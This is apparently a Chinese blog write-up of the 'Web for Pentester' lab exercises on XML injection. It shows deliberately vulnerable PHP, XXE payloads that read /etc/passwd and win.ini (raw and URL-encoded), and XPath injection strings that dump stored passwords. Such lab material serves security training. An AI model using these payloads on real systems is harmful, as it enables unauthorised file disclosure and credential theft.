【web_for_pentester】XML注入

一、XML介紹

二、XML的ENTITY實體

-------------------------------------------------------------------------------本文長期更新------------------------------------------------------------------Orz

ENTITY實體:

如果在XML文檔中需要頻繁使用某一條數據,我們可以預先給這個數據起一個別名。即一個ENTITY,然後再在文檔中調用它。

XML定義了兩種類型的ENTITY,一種在XML文檔中使用,另一種在爲參數在DTD文件中使用。

ENTITY的定義語法:

<!DOCTYPE  文件名 [
<!ENTITY  實體名 "實體內容">
]>
定義好的ENTITY在文檔中通過“&實體名;”來使用。

例如:定義一個name值爲“Tom”,就可以在XML任何地方引用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >

]>
<root>
<name>&name;</name>
</root>

正常來說,DTD分爲內部DTD與外部DTD,內部DTD包含在XML文檔中,外部DTD則通過URL引用.一個DTD文件是以.dtd結尾的文本文件 。前面還要加上SYSTEM,但是如果此處沒有任何過濾,我們完全可以引用系統敏感文件的,前提是頁面有回顯,否則你只引用了文件但不知道文件內容。

例如 Linux和Windows下的讀取路徑不一樣

//Linux下讀取/etc/passwd
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>

//Windows下讀取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>

 

三、Example

Example1

下面先看一下後端代碼:

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

simplexml_load_string() 函數可以轉換形式良好的XML字符串爲SimpleXMLElement對象

print_r()可以把字符串和數字簡單地打印出來,而數組則以括起來的鍵和值得列表形式顯示,並以Array開頭。但print_r()輸出布爾值和NULL的結果沒有意義,因爲都是打印”\n”。因此用var_dump()函數更適合調試。打印關於變量的易於理解的信息,如果給出的是 string、integer 或 float,將打印變量值本身。如果給出的是 array,將會按照一定格式顯示鍵和元素。object 與數組類似。 記住,print_r() 將把數組的指針移到最後邊。使用 reset() 可讓指針回到開始處。

 

利用方法

先構造基本框架  注意&name後要有;原文應該是筆誤漏掉了。xml全部要寫到一行裏,構造好的語句需要進行URL編碼

<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3

嘗試讀取本地文件/etc/passwd

<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>

//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E

 

 

Example2

後端代碼:

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

可以看到源代碼先定義了一個$x變量,裏面包含了一個xml。

然後把的 XML 字符串轉換爲 SimpleXMLElement 對象,並賦值給$res

然後查詢了users裏user裏的name 值爲$name的,並返回其所有父節點的message裏面的值。

然後執行查詢,最後while循環顯示查詢的值。

 

XPath介紹:

XPath 是一門在 XML 文檔中查找信息的語言。XPath 可用來在 XML 文檔中對元素和屬性進行遍歷。

XPath 是 W3C XSLT 標準的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。

因此,對 XPath 的理解是很多高級 XML 應用的基礎。

 

XPath基本語法:

路徑表達式         結果
bookstore         選取 bookstore 元素的所有子節點。
/bookstore         選取根元素 bookstore。
bookstore/book     選取屬於 bookstore 的子元素的所有 book 元素。
//book             選取所有 book子元素,而不管它們在文檔中的位置。
bookstore//book     選擇屬於 bookstore 元素的後代的所有 book 元素,而不管它們位於 bookstore 之下的什麼位置。
//@lang             選取名爲 lang 的所有屬性。

/表示從XML文件中的根節點開始解析

//表示在XML文件中匹配已選擇的當前節點,且不考慮其位置關係XPath Axes(軸)軸可以定義當前節點的節點集,下面列舉了幾個常用的。

ancestor            選取當前節點的所有先輩(父、祖父等)。
ancestor-or-self    選取當前節點的所有先輩(父、祖父等)以及當前節點本身。
attribute            選取當前節點的所有屬性。
child                選取當前節點的所有子元素。
descendant            選取當前節點的所有後代元素(子、孫等)。
descendant-or-self    選取當前節點的所有後代元素(子、孫等)以及當前節點本身。
following            選取文檔中當前節點的結束標籤之後的所有節點。
namespace            選取當前節點的所有命名空間節點。
parent                選取當前節點的父節點。

瞭解了軸,再來了解一下,下面舉幾個例子更便於瞭解:

child::book            選取所有屬於當前節點的子元素的 book 節點。
attribute::lang        選取當前節點的 lang 屬性。
child::*            選取當前節點的所有子元素。
attribute::*        選取當前節點的所有屬性。
child::text()        選取當前節點的所有文本子節點。
child::node()        選取當前節點的所有子節點。
descendant::book    選取當前節點的所有 book 後代。
ancestor::book        選擇當前節點的所有 book 先輩。
ancestor-or-self::book    選取當前節點的所有 book 先輩以及當前節點(如果此節點是 book 節點)
child::*/child::price    選取當前節點的所有 price 孫節點。

 最後的最後,我們嘗試構造,還是注入的思路,先嚐試正確閉合,然後註釋掉後面沒用的。

?name=hacker' or 1=1]/parent::*/child::node()%00 
//%00註釋掉後面的語句
// /parent::*/child::node()查看當前節點的所有父節點的子節點

 

 

?name=hacker' or 1=1]/parent::*/password%00

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章